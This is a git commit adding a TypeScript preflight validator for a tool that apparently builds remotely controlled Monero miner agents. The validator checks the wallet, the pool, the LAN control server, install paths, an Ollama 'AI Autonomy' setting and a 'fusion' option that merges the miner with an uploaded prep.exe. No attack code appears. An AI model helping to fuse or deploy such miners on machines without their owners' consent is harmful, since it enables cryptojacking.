Add fleet ops dashboard, Calibrate enforcement, and dead-code cleanup.

Ship live alerts, pool status, AI monitor, remote agent commands, build manager, and uninstall flow; wire Calibrate settings (WS ping, pool traffic log, retention limits) at runtime and exclude server/data from git.
This commit is contained in:
drjones
2026-05-27 09:16:04 -07:00
parent 9d223b8137
commit df81eb7744
75 changed files with 8891 additions and 966 deletions

View File

@@ -0,0 +1,132 @@
import type { BuildRequest } from '../types';
import { runForgeCompatibilityChecks } from './forgeCompatibility';
export type PreflightLevel = 'ok' | 'warn' | 'error';
export interface PreflightCheck {
id: string;
level: PreflightLevel;
message: string;
}
function isLanReachableUrl(url: string): boolean {
try {
const u = new URL(url.trim());
const host = u.hostname.toLowerCase();
if (host === 'localhost' || host === '127.0.0.1' || host === '::1') return false;
if (host.startsWith('192.168.') || host.startsWith('10.')) return true;
if (host.startsWith('172.')) {
const parts = host.split('.');
if (parts.length >= 2) {
const second = parseInt(parts[1], 10);
if (second >= 16 && second <= 31) return true;
}
}
return host.includes('.');
} catch {
return false;
}
}
function looksLikeXMRWallet(addr: string): boolean {
const a = addr.trim();
return a.length >= 90 && a.length <= 106 && /^4[0-9A-Za-z]+$/.test(a);
}
export function runForgePreflight(form: BuildRequest, fusionPrepSelected: boolean): PreflightCheck[] {
const checks: PreflightCheck[] = [];
if (!form.worker_name.trim()) {
checks.push({ id: 'worker', level: 'error', message: 'Worker name is required (unique per machine).' });
} else if (!/^[a-zA-Z0-9._-]+$/.test(form.worker_name.trim())) {
checks.push({ id: 'worker', level: 'warn', message: 'Worker name has unusual characters; stick to letters, numbers, dash, underscore.' });
} else {
checks.push({ id: 'worker', level: 'ok', message: `Worker "${form.worker_name.trim()}" is valid.` });
}
if (!form.server_url.trim()) {
checks.push({ id: 'server', level: 'error', message: 'Server URL is required — miners must reach your control server.' });
} else if (!isLanReachableUrl(form.server_url)) {
checks.push({
id: 'server',
level: 'error',
message: 'Server URL should be your LAN IP (e.g. http://192.168.1.10:8989), not localhost.',
});
} else {
checks.push({ id: 'server', level: 'ok', message: 'Server URL looks reachable from other PCs on your network.' });
}
if (!form.wallet.trim()) {
checks.push({ id: 'wallet', level: 'error', message: 'Monero wallet address is required.' });
} else if (!looksLikeXMRWallet(form.wallet)) {
checks.push({ id: 'wallet', level: 'warn', message: 'Wallet does not look like a standard Monero mainnet address (starts with 4).' });
} else {
checks.push({ id: 'wallet', level: 'ok', message: 'Wallet address format OK.' });
}
if (!form.pool_host.trim()) {
checks.push({ id: 'pool', level: 'error', message: 'Pool host is required.' });
} else {
checks.push({ id: 'pool', level: 'ok', message: `Pool ${form.pool_host}:${form.pool_port} configured.` });
}
if (form.install_base === 'custom' && !form.install_custom_base.trim()) {
checks.push({ id: 'install', level: 'error', message: 'Custom install base path is required.' });
} else {
checks.push({ id: 'install', level: 'ok', message: 'Install path configuration OK.' });
}
const out = (form.output_dir || '').trim();
if (!out) {
checks.push({ id: 'output', level: 'warn', message: 'No output folder set — build will only be stored under data/builds (still downloadable).' });
} else if (out.includes('..') || out.includes(':') || out.startsWith('\\') || out.startsWith('/')) {
checks.push({ id: 'output', level: 'error', message: 'Output folder must be a relative path under server data_dir (example: exports).' });
} else {
checks.push({ id: 'output', level: 'ok', message: `Output folder: data/${out}` });
}
if (form.fusion_enabled) {
if (!fusionPrepSelected) {
checks.push({ id: 'fusion', level: 'error', message: 'Fusion is on — upload your prep.exe.' });
} else {
checks.push({ id: 'fusion', level: 'ok', message: `Fusion ready → output ${form.fusion_output_name || 'prep.exe'}.` });
}
}
if (form.thread_mode === 'fixed' && form.threads < 1) {
checks.push({ id: 'threads', level: 'error', message: 'Fixed thread count must be at least 1.' });
}
if (form.ai_enabled) {
const endpoint = (form.ai_ollama_endpoint || '').trim();
const model = (form.ai_model || '').trim();
if (!endpoint) {
checks.push({ id: 'ai', level: 'error', message: 'AI Autonomy is on — set the Ollama endpoint URL.' });
} else {
try {
const u = new URL(endpoint);
if (!u.protocol.startsWith('http')) {
checks.push({ id: 'ai', level: 'warn', message: 'Ollama endpoint should use http:// or https://.' });
} else {
checks.push({ id: 'ai', level: 'ok', message: `Ollama endpoint ${endpoint} configured.` });
}
} catch {
checks.push({ id: 'ai', level: 'error', message: 'Ollama endpoint URL is not valid.' });
}
}
if (!model) {
checks.push({ id: 'ai', level: 'warn', message: 'AI model name is empty — will default to llama3.2 on the server.' });
} else {
checks.push({ id: 'ai', level: 'ok', message: `AI model: ${model}` });
}
}
// Incompatibility + coupling rules
checks.push(...runForgeCompatibilityChecks(form, fusionPrepSelected));
return checks;
}
export function preflightHasErrors(checks: PreflightCheck[]): boolean {
return checks.some((c) => c.level === 'error');
}